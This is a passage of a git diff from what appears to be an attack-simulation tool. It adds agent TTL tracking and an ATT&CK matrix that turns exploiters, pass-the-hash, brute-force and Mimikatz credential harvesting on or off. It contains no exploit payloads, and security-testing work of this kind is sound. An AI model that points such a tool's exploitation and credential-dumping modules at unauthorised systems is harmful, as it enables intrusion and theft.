monkey import Monkey +from monkey_island.cc.models.monkey import MonkeyNotFoundError +from monkey_ttl import MonkeyTtl + + +class TestMonkey(TestCase): + """ + Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + won't work. + + Also, the working directory needs to be the working directory from which you usually run the island so the + server.json file is found and loaded. + """ + def test_is_dead(self): + # Arrange + alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) + alive_monkey_ttl.save() + alive_monkey = Monkey( + guid=str(uuid.uuid4()), + dead=False, + ttl_ref=alive_monkey_ttl.id) + alive_monkey.save() + + # MIA stands for Missing In Action + mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) + mia_monkey_ttl.save() + mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl) + mia_monkey.save() + # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance. + sleep(1) + mia_monkey_ttl.delete() + + dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True) + dead_monkey.save() + + # act + assert + self.assertTrue(dead_monkey.is_dead()) + self.assertTrue(mia_monkey.is_dead()) + self.assertFalse(alive_monkey.is_dead()) + + def test_get_single_monkey_by_id(self): + # Arrange + a_monkey = Monkey(guid=str(uuid.uuid4())) + a_monkey.save() + + # Act + assert + # Find the existing one + self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id)) + # Raise on non-existent monkey + self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef") diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack_config.py new file mode 100644 index 000000000..da7651f24 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack_config.py @@ -0,0 +1,30 @@ +import flask_restful +import json +from flask import jsonify, request + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.attack.attack_config import AttackConfig + +__author__ = "VakarisZ" + + +class AttackConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(configuration=AttackConfig.get_config()['properties']) + + @jwt_required() + def post(self): + """ + Based on request content this endpoint either resets ATT&CK configuration or updates it. + :return: Technique types dict with techniques on reset and nothing on update + """ + config_json = json.loads(request.data) + if 'reset_attack_matrix' in config_json: + AttackConfig.reset_config() + return jsonify(configuration=AttackConfig.get_config()['properties']) + else: + AttackConfig.update_config({'properties': json.loads(request.data)}) + AttackConfig.apply_to_monkey_config() + return {} + diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py index bef0a8585..8c30bb13c 100644 --- a/monkey/monkey_island/cc/resources/attack_telem.py +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -1,7 +1,7 @@ import flask_restful from flask import request import json -from monkey_island.cc.services.attack.attack_telem import set_results +from monkey_island.cc.services.attack.attack_telem import AttackTelemService import logging __author__ = 'VakarisZ' @@ -20,5 +20,5 @@ class AttackTelem(flask_restful.Resource): :param technique: Technique ID, e.g. T1111 """ data = json.loads(request.data) - set_results(technique, data) + AttackTelemService.set_results(technique, data) return {} diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index d402a440c..54a16f518 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -7,6 +7,7 @@ from flask import request, jsonify, make_response import flask_restful from monkey_island.cc.environment.environment import env +from monkey_island.cc.models import Monkey from monkey_island.cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses @@ -57,7 +58,7 @@ class LocalRun(flask_restful.Resource): NodeService.update_dead_monkeys() island_monkey = NodeService.get_monkey_island_monkey() if island_monkey is not None: - is_monkey_running = not island_monkey["dead"] + is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead() else: is_monkey_running = False diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 7eb7ecc69..2f464f068 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -2,18 +2,29 @@ import json from datetime import datetime import dateutil.parser -from flask import request import flask_restful +from flask import request from monkey_island.cc.database import mongo +from monkey_island.cc.models.monkey_ttl import MonkeyTtl from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService +MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 + __author__ = 'Barak' # TODO: separate logic from interface +def create_monkey_ttl(): + # The TTL data uses the new `models` module which depends on mongoengine. + current_ttl = MonkeyTtl.create_ttl_expire_in(MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) + current_ttl.save() + ttlid = current_ttl.id + return ttlid + + class Monkey(flask_restful.Resource): # Used by monkey. can't secure. @@ -47,6 +58,9 @@ class Monkey(flask_restful.Resource): tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip) + ttlid = create_monkey_ttl() + update['$set']['ttl_ref'] = ttlid + return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) # Used by monkey. can't secure. @@ -88,7 +102,7 @@ class Monkey(flask_restful.Resource): parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) else: parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: + elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: exploit_telem = [x for x in mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] @@ -106,6 +120,8 @@ class Monkey(flask_restful.Resource): tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "") monkey_json.pop('tunnel') + monkey_json['ttl_ref'] = create_monkey_ttl() + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 828a97682..f49af117c 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -6,11 +6,10 @@ from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.report import ReportService from monkey_island.cc.utils import local_ip_addresses -from monkey_island.cc.services.post_breach_files import remove_PBA_files +from monkey_island.cc.services.database import Database __author__ = 'Barak' @@ -26,7 +25,7 @@ class Root(flask_restful.Resource): if not action: return Root.get_server_info() elif action == "reset": - return Root.reset_db() + return jwt_required()(Database.reset_db)() elif action == "killall": return Root.kill_all() elif action == "is-up": @@ -40,16 +39,6 @@ class Root(flask_restful.Resource): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) - @staticmethod - @jwt_required() - def reset_db(): - remove_PBA_files() - # We can't drop system collections. - [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] - ConfigService.init_config() - logger.info('DB was reset') - return jsonify(status='OK') - @staticmethod @jwt_required() def kill_all(): diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py new file mode 100644 index 000000000..bf0fe9899 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -0,0 +1,161 @@ +import logging +from dpath import util +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.attack_schema import SCHEMA +from monkey_island.cc.services.config import ConfigService + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +class AttackConfig(object): + def __init__(self): + pass + + @staticmethod + def get_config(): + config = mongo.db.attack.find_one({'name': 'newconfig'}) + return config + + @staticmethod + def get_config_schema(): + return SCHEMA + + @staticmethod + def reset_config(): + AttackConfig.update_config(SCHEMA) + + @staticmethod + def update_config(config_json): + mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return True + + @staticmethod + def apply_to_monkey_config(): + """ + Applies ATT&CK matrix to the monkey configuration + :return: + """ + attack_techniques = AttackConfig.get_technique_values() + monkey_config = ConfigService.get_config(False, True, True) + monkey_schema = ConfigService.get_config_schema() + AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema) + AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema) + ConfigService.update_config(monkey_config, True) + + @staticmethod + def set_arrays(attack_techniques, monkey_config, monkey_schema): + """ + Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for key, definition in monkey_schema['definitions'].items(): + for array_field in definition['anyOf']: + # Check if current array field has attack_techniques assigned to it + if 'attack_techniques' in array_field and array_field['attack_techniques']: + should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], + attack_techniques) + # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA + AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) + + @staticmethod + def set_booleans(attack_techniques, monkey_config, monkey_schema): + """ + Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for key, value in monkey_schema['properties'].items(): + AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config) + + @staticmethod + def r_set_booleans(path, value, attack_techniques, monkey_config): + """ + Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them + according to ATT&CK matrix. + :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param value: Value of config property + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + """ + if isinstance(value, dict): + dictionary = {} + # If 'value' is a boolean value that should be set: + if 'type' in value and value['type'] == 'boolean' \ + and 'attack_techniques' in value and value['attack_techniques']: + AttackConfig.set_bool_conf_val(path, + AttackConfig.should_enable_field(value['attack_techniques'], + attack_techniques), + monkey_config) + # If 'value' is dict, we go over each of it's fields to search for booleans + elif 'properties' in value: + dictionary = value['properties'] + else: + dictionary = value + for key, item in dictionary.items(): + path.append(key) + AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config) + # Method enumerated everything in current path, goes back a level. + del path[-1] + + @staticmethod + def set_bool_conf_val(path, val, monkey_config): + """ + Changes monkey's configuration by setting one of its boolean fields value + :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param val: Boolean + :param monkey_config: Monkey's configuration + """ + util.set(monkey_config, '/'.join(path), val) + + @staticmethod + def should_enable_field(field_techniques, users_techniques): + """ + Determines whether a single config field should be enabled or not. + :param field_techniques: ATT&CK techniques that field uses + :param users_techniques: ATT&CK techniques that user chose + :return: True, if user enabled all techniques used by the field, false otherwise + """ + for technique in field_techniques: + try: + if not users_techniques[technique]: + return False + except KeyError: + logger.error("Attack technique %s is defined in schema, but not implemented." % technique) + return True + + @staticmethod + def r_alter_array(config_value, array_name, field, remove=True): + """ + Recursively searches config (DFS) for array and removes/adds a field. + :param config_value: Some object/value from config + :param array_name: Name of array this method should search + :param field: Field in array that this method should add/remove + :param remove: Removes field from array if true, adds it if false + """ + if isinstance(config_value, dict): + if array_name in config_value and isinstance(config_value[array_name], list): + if remove and field in config_value[array_name]: + config_value[array_name].remove(field) + elif not remove and field not in config_value[array_name]: + config_value[array_name].append(field) + else: + for prop in config_value.items(): + AttackConfig.r_alter_array(prop[1], array_name, field, remove) + + @staticmethod + def get_technique_values(): + """ + Parses ATT&CK config into a dict of techniques and corresponding values. + :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} + """ + attack_config = AttackConfig.get_config() + techniques = {} + for type_name, attack_type in attack_config['properties'].items(): + for key, technique in attack_type['properties'].items(): + techniques[key] = technique['value'] + return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py new file mode 100644 index 000000000..ecb1e1915 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -0,0 +1,88 @@ +SCHEMA = { + "title": "ATT&CK configuration", + "type": "object", + "properties": { + "initial_access": { + "title": "Initial access", + "type": "object", + "properties": { + "T1078": { + "title": "T1078 Valid accounts", + "type": "bool", + "value": True, + "necessary": False, + "description": "Mapped with T1003 Credential dumping because both techniques " + "require same credential harvesting modules. " + "Adversaries may steal the credentials of a specific user or service account using " + "Credential Access techniques or capture credentials earlier in their " + "reconnaissance process.", + "depends_on": ["T1003"] + } + } + }, + "lateral_movement": { + "title": "Lateral movement", + "type": "object", + "properties": { + "T1210": { + "title": "T1210 Exploitation of Remote services", + "type": "bool", + "value": True, + "necessary": False, + "description": "Exploitation of a software vulnerability occurs when an adversary " + "takes advantage of a programming error in a program, service, or within the " + "operating system software or kernel itself to execute adversary-controlled code." + }, + "T1075": { + "title": "T1075 Pass the hash", + "type": "bool", + "value": True, + "necessary": False, + "description": "Pass the hash (PtH) is a method of authenticating as a user without " + "having access to the user's cleartext password." + } + } + }, + "credential_access": { + "title": "Credential access", + "type": "object", + "properties": { + "T1110": { + "title": "T1110 Brute force", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may use brute force techniques to attempt access to accounts " + "when passwords are unknown or when password hashes are obtained.", + "depends_on": ["T1210"] + }, + "T1003": { + "title": "T1003 Credential dumping", + "type": "bool", + "value": True, + "necessary": False, + "description": "Mapped with T1078 Valid Accounts because both techniques require" + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login and password " + "information, normally in the form of a hash or a clear text password, " + "from the operating system and software.", + "depends_on": ["T1078"] + } + } + }, + "defence_evasion": { + "title": "Defence evasion", + "type": "object", + "properties": { + "T1197": { + "title": "T1197 Bits jobs", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may abuse BITS to download, execute, " + "and even clean up after running malicious code." + } + } + }, + } +} diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py index a4e219270..d1255e4e9 100644 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -9,11 +9,16 @@ __author__ = "VakarisZ" logger = logging.getLogger(__name__) -def set_results(technique, data): - """ - Adds ATT&CK technique results(telemetry) to the database - :param technique: technique ID string e.g. T1110 - :param data: Data, relevant to the technique - """ - data.update({'technique': technique}) - mongo.db.attack_results.insert(data) +class AttackTelemService(object): + def __init__(self): + pass + + @staticmethod + def set_results(technique, data): + """ + Adds ATT&CK technique results(telemetry) to the database + :param technique: technique ID string e.g. T1110 + :param data: Data, relevant to the technique + """ + data.update({'technique': technique}) + mongo.db.attack_results.insert(data) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 0844969a0..8a96a0d78 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -13,42 +13,48 @@ SCHEMA = { "enum": [ "SmbExploiter" ], - "title": "SMB Exploiter" + "title": "SMB Exploiter", + "attack_techniques": ["T1110", "T1075"] }, { "type": "string", "enum": [ "WmiExploiter" ], - "title": "WMI Exploiter" + "title": "WMI Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "MSSQLExploiter" ], - "title": "MSSQL Exploiter" + "title": "MSSQL Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "RdpExploiter" ], - "title": "RDP Exploiter (UNSAFE)" + "title": "RDP Exploiter (UNSAFE)", + "attack_techniques": [] }, { "type": "string", "enum": [ "Ms08_067_Exploiter" ], - "title": "MS08-067 Exploiter (UNSAFE)" + "title": "MS08-067 Exploiter (UNSAFE)", + "attack_techniques": [] }, { "type": "string", "enum": [ "SSHExploiter" ], - "title": "SSH Exploiter" + "title": "SSH Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", @@ -111,6 +117,7 @@ SCHEMA = { "BackdoorUser" ], "title": "Back door user", + "attack_techniques": [] }, ], }, @@ -123,14 +130,16 @@ SCHEMA = { "enum": [ "SMBFinger" ], - "title": "SMBFinger" + "title": "SMBFinger", + "attack_techniques": ["T1210"] }, { "type": "string", "enum": [ "SSHFinger" ], - "title": "SSHFinger" + "title": "SSHFinger", + "attack_techniques": ["T1210"] }, { "type": "string", @@ -151,14 +160,16 @@ SCHEMA = { "enum": [ "MySQLFinger" ], - "title": "MySQLFinger" + "title": "MySQLFinger", + "attack_techniques": ["T1210"] }, { "type": "string", "enum": [ "MSSQLFinger" ], - "title": "MSSQLFinger" + "title": "MSSQLFinger", + "attack_techniques": ["T1210"] }, { @@ -166,16 +177,30 @@ SCHEMA = { "enum": [ "ElasticFinger" ], - "title": "ElasticFinger" + "title": "ElasticFinger", + "attack_techniques": ["T1210"] } ] } }, "properties": { "basic": { - "title": "Basic - Credentials", + "title": "Basic - Exploits", "type": "object", "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "should_exploit": { + "title": "Exploit network machines", + "type": "boolean", + "default": True, + "attack_techniques": ["T1210"], + "description": "Determines if monkey should try to safely exploit machines on the network" + } + } + }, "credentials": { "title": "Credentials", "type": "object", @@ -389,6 +414,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, + "attack_techniques": ["T1003", "T1078"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -402,6 +428,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, + "attack_techniques": ["T1003", "T1078"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py new file mode 100644 index 000000000..62e370e44 --- /dev/null +++ b/monkey/monkey_island/cc/services/database.py @@ -0,0 +1,31 @@ +import logging + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.attack.attack_config import AttackConfig +from monkey_island.cc.services.post_breach_files import remove_PBA_files +from flask import jsonify +from monkey_island.cc.database import mongo + + +logger = logging.getLogger(__name__) + + +class Database(object): + def __init__(self): + pass + + @staticmethod + def reset_db(): + remove_PBA_files() + # We can't drop system collections. + [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] + ConfigService.init_config() + AttackConfig.reset_config() + logger.info('DB was reset') + return jsonify(status='OK') + + @staticmethod + def init_db(): + if not mongo.db.collection_names(): + Database.reset_db() + diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index fa500aab5..442fb391a 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -4,9 +4,11 @@ from bson import ObjectId import monkey_island.cc.services.log from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.utils import local_ip_addresses import socket +from monkey_island.cc import models __author__ = "itay.mizeretz" @@ -66,7 +68,7 @@ class NodeService: def get_node_label(node): domain_name = "" if node["domain_name"]: - domain_name = " ("+node["domain_name"]+")" + domain_name = " (" + node["domain_name"] + ")" return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name @staticmethod @@ -104,7 +106,8 @@ class NodeService: @staticmethod def get_monkey_critical_services(monkey_id): - critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', []) + critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get( + 'critical_services', []) return critical_services @staticmethod @@ -123,7 +126,7 @@ class NodeService: monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey" monkey_os = NodeService.get_monkey_os(monkey) - monkey_running = "" if monkey["dead"] else "_running" + monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running" return "%s_%s%s" % (monkey_type, monkey_os, monkey_running) @staticmethod @@ -135,13 +138,14 @@ class NodeService: @staticmethod def monkey_to_net_node(monkey, for_report=False): label = monkey['hostname'] if for_report else NodeService.get_monkey_label(monkey) + is_monkey_dead = Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() return \ { "id": monkey["_id"], "label": label, "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), - "dead": monkey["dead"], + "dead": is_monkey_dead, "domain_name": "", "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] } @@ -293,7 +297,8 @@ class NodeService: @staticmethod def is_any_monkey_alive(): - return mongo.db.monkey.find_one({'dead': False}) is not None + all_monkeys = models.Monkey.objects() + return any(not monkey.is_dead() for monkey in all_monkeys) @staticmethod def is_any_monkey_exists(): diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index b0f206bca..1468072a3 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -74,6 +74,7 @@ "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", "moment": "^2.22.2", + "node-sass": "^4.11.0", "normalize.css": "^8.0.0", "npm": "^6.4.1", "prop-types": "^15.6.2", @@ -93,7 +94,9 @@ "react-router-dom": "^4.3.1", "react-table": "^6.8.6", "react-toggle": "^4.0.1", + "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", + "sass-loader": "^7.1.0", "sha3": "^2.0.0", "react-spinners": "^0.5.4", "@emotion/core": "^10.0.10", diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js new file mode 100644 index 000000000..2e7ef4fc3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -0,0 +1,119 @@ +import React from 'react'; +import Checkbox from '../ui-components/Checkbox' +import Tooltip from 'react-tooltip-lite' +import AuthComponent from '../AuthComponent'; +import ReactTable from "react-table"; +import 'filepond/dist/filepond.min.css'; +import '../../styles/Tooltip.scss'; +import {Col} from "react-bootstrap"; + +class MatrixComponent extends AuthComponent { + constructor(props) { + super(props); + this.state = {lastAction: 'none'} + }; + + // Finds which attack type has most techniques and returns that number + static findMaxTechniques(data){ + let maxLen = 0; + data.forEach(function(techType) { + if (Object.keys(techType.properties).length > maxLen){ + maxLen = Object.keys(techType.properties).length + } + }); + return maxLen + }; + + // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) + static parseTechniques (data, maxLen) { + let techniques = []; + // Create rows with attack techniques + for (let i = 0; i < maxLen; i++) { + let row = {}; + data.forEach(function(techType){ + let rowColumn = {}; + rowColumn.techName = techType.title; + + if (i <= Object.keys(techType.properties).length) { + rowColumn.technique = Object.values(techType.properties)[i]; + if (rowColumn.technique){ + rowColumn.technique.name = Object.keys(techType.properties)[i] + } + } else { + rowColumn.technique = null + } + row[rowColumn.techName] = rowColumn + }); + techniques.push(row) + } + return techniques; + }; + + getColumns(matrixData) { + return Object.keys(matrixData[0]).map((key)=>{ + return { + Header: key, + id: key, + accessor: x => this.renderTechnique(x[key].technique), + style: { 'whiteSpace': 'unset' } + }; + }); + } + + renderTechnique(technique) { + if (technique == null){ + return (
) + } else { + return ( + + {technique.title} + + ) + } + }; + + getTableData = (config) => { + let configCopy = JSON.parse(JSON.stringify(config)); + let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy)); + let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques); + let columns = this.getColumns(matrixTableData); + return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques} + }; + + renderLegend = () => { + return ( + ) + }; + + render() { + let tableData = this.getTableData(this.props.configuration); + return ( +
+ {this.renderLegend()} +
+ +
+
); + } +} + +export default MatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index bb369fa73..44d5a9a2b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -1,84 +1,137 @@ import React from 'react'; import Form from 'react-jsonschema-form'; -import {Col, Nav, NavItem} from 'react-bootstrap'; +import {Col, Modal, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; +import MatrixComponent from "../attack/MatrixComponent"; + +const ATTACK_URL = '/api/attack'; +const CONFIG_URL = '/api/configuration/island'; class ConfigurePageComponent extends AuthComponent { + constructor(props) { super(props); this.PBAwindowsPond = null; this.PBAlinuxPond = null; - this.currentSection = 'basic'; + this.currentSection = 'attack'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - this.uiSchema = { - behaviour: { - custom_PBA_linux_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - PBA_linux_file: { - "ui:widget": this.PBAlinux - }, - custom_PBA_windows_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" - }, - PBA_windows_file: { - "ui:widget": this.PBAwindows - }, - PBA_linux_filename: { - classNames: "linux-pba-file-info", - "ui:emptyValue": "" - }, - PBA_windows_filename: { - classNames: "windows-pba-file-info", - "ui:emptyValue": "" - } - } - }; + this.initialConfig = {}; + this.initialAttackConfig = {}; + this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; + this.uiSchemas = this.getUiSchemas(); // set schema from server this.state = { schema: {}, configuration: {}, + attackConfig: {}, lastAction: 'none', sections: [], - selectedSection: 'basic', + selectedSection: 'attack', allMonkeysAreDead: true, PBAwinFile: [], - PBAlinuxFile: [] + PBAlinuxFile: [], + showAttackAlert: false }; } - componentDidMount() { - this.authFetch('/api/configuration/island') - .then(res => res.json()) - .then(res => { + getUiSchemas(){ + return ({ + basic: {"ui:order": ["general", "credentials"]}, + basic_network: {}, + monkey: { + behaviour: { + custom_PBA_linux_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_linux_file: { + "ui:widget": this.PBAlinux + }, + custom_PBA_windows_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_windows_file: { + "ui:widget": this.PBAwindows + }, + PBA_linux_filename: { + classNames: "linux-pba-file-info", + "ui:emptyValue": "" + }, + PBA_windows_filename: { + classNames: "windows-pba-file-info", + "ui:emptyValue": "" + } + } + }, + cnc: {}, + network: {}, + exploits: {}, + internal: {} + }) + } + + setInitialConfig(config) { + // Sets a reference to know if config was changed + this.initialConfig = JSON.parse(JSON.stringify(config)); + } + + setInitialAttackConfig(attackConfig) { + // Sets a reference to know if attack config was changed + this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig)); + } + + componentDidMount = () => { + let urls = [CONFIG_URL, ATTACK_URL]; + Promise.all(urls.map(url => this.authFetch(url).then(res => res.json()))) + .then(data => { let sections = []; + let attackConfig = data[1]; + let monkeyConfig = data[0]; + this.setInitialConfig(monkeyConfig.configuration); + this.setInitialAttackConfig(attackConfig.configuration); for (let sectionKey of this.sectionsOrder) { - sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title}); + if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})} + else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});} } this.setState({ - schema: res.schema, - configuration: res.configuration, + schema: monkeyConfig.schema, + configuration: monkeyConfig.configuration, + attackConfig: attackConfig.configuration, sections: sections, - selectedSection: 'basic' + selectedSection: 'attack' }) }); this.updateMonkeysRunning(); - } + }; - onSubmit = ({formData}) => { - this.currentFormData = formData; - this.updateConfigSection(); - this.authFetch('/api/configuration/island', + updateConfig = () => { + this.authFetch(CONFIG_URL) + .then(res => res.json()) + .then(data => { + this.setInitialConfig(data.configuration); + this.setState({configuration: data.configuration}) + }) + }; + + onSubmit = () => { + if (this.state.selectedSection === 'attack'){ + this.matrixSubmit() + } else { + this.configSubmit() + } + }; + + matrixSubmit = () => { + // Submit attack matrix + this.authFetch(ATTACK_URL, { method: 'POST', headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(this.state.configuration) + body: JSON.stringify(this.state.attackConfig) }) .then(res => { if (!res.ok) @@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent { } return res; }) + .then(() => {this.setInitialAttackConfig(this.state.attackConfig);}) + .then(this.updateConfig()) + .then(this.setState({lastAction: 'saved'})) + .catch(error => { + this.setState({lastAction: 'invalid_configuration'}); + }); + }; + + configSubmit = () => { + // Submit monkey configuration + this.updateConfigSection(); + this.sendConfig() .then(res => res.json()) .then(res => { this.setState({ @@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent { schema: res.schema, configuration: res.configuration }); + this.setInitialConfig(res.configuration); this.props.onStatusChange(); }).catch(error => { console.log('bad configuration'); @@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent { }); }; + // Alters attack configuration when user toggles technique + attackTechniqueChange = (technique, value, mapped=false) => { + // Change value in attack configuration + // Go trough each column in matrix, searching for technique + Object.entries(this.state.attackConfig).forEach(techType => { + if(techType[1].properties.hasOwnProperty(technique)){ + let tempMatrix = this.state.attackConfig; + tempMatrix[techType[0]].properties[technique].value = value; + this.setState({attackConfig: tempMatrix}); + + // Toggle all mapped techniques + if (! 